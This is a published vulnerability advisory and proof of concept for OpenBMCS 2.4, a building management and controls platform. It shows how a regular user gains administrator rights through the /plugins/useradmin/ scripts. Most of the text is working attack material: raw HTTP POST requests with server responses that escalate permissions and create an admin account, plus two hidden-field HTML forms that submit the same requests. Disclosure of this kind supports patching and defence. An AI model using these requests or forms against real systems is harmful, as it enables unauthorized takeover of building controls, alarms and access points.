# Exploit Title: OpenBMCS 2.4 - Create Admin / Remote Privilege Escalation
# Exploit Author: LiquidWorm
# Date: 26/10/2021

OpenBMCS 2.4 Create Admin / Remote Privilege Escalation


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application suffers from an insecure permissions and privilege
escalation vulnerability. A regular user can create administrative users
and/or elevate her privileges by sending an HTTP POST request to specific
PHP scripts in '/plugins/useradmin/' directory.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5693
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php


26.10.2021

--


List current ID and permissions (read):
---------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 692
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]



List current ID and permissions (admin):
----------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=18

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 725
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"18","username":"testingus2","email":"[email protected]","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]



Escalate privileges:
--------------------

POST /plugins/useradmin/update_user_permissions.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 702
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:58:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

2



Create admin from read user:
----------------------------

POST /plugins/useradmin/create_user.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 1010
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:18:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}



PoC escalate from editor to admin:
----------------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="id" value="17" />
      <input type="submit" value="Esc" />
    </form>
  </body>
</html>



PoC create admin from editor:
-----------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">
      <input type="hidden" name="user[username]" value="testingus2" />
      <input type="hidden" name="user[fullname]" value="TestName" />
      <input type="hidden" name="user[phone]" value="1112223333" />
      <input type="hidden" name="user[password]" value="Password123" />
      <input type="hidden" name="user[passwordConfirm]" value="Password123" />
      <input type="hidden" name="user[email]" value="[email protected]" />
      <input type="hidden" name="user[expiry]" value="" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][mod_home]" value="0" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][mod_home]" value="0" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][mod_home]" value="0" />
      <input type="submit" value="Cre" />
    </form>
  </body>
</html>